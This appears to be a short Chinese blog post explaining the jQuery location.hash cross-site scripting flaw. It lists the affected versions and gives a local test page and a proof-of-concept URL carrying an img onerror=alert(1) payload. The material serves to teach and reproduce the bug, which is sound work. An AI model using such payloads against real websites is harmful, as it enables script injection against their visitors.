JQuery跨站脚本漏洞

最新推荐文章于 2024-05-13 15:15:50 发布

谢公子

最新推荐文章于 2024-05-13 15:15:50 发布

阅读量2.9w

点赞数 5

分类专栏： Web漏洞

Web漏洞专栏收录该内容

29 篇文章 3033 订阅 ¥29.90 ¥99.00

订阅专栏

超级会员免费看

本文探讨了jQuery中由于正则表达式过滤用户输入数据的缺陷，导致的location.hash跨站脚本漏洞。受影响的jQuery版本包括1.7.1至1.8.3，1.6.x，1.5.x，1.4.x和1.3.x及1.2.x。通过测试代码`<img src=/ onerror=alert(1)>`，可以在本地环境中复现此漏洞。同时，提供了一个在线测试平台以进行进一步的分析。

摘要由CSDN通过智能技术生成

原理：

jQuery中过滤用户输入数据所使用的正则表达式存在缺陷，可能导致 location.hash 跨站漏洞

影响版本：

jquery-1.7.1~1.8.3
jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js
jquery-1.5所有版本
jquery-1.4所有版本
jquery-1.3所有版本
jquery-1.2所有版本

测试代码：

<html>
<head>
    <title>JQuery-xss-test</title>
    <script  src="https://code.jquery.com/jquery-1.0.1.js" ></script>
    <script>
    $(function(){
    try { $(location.hash) } 
    catch(e) {}
    })
    </script>
</head>
<body>
    Jquery xss test.
</body>
</html>

然后访问如下：http://localhost/#<img src=/ οnerrοr=alert(1)>

在线测试平台：JQuery跨站脚本在线测试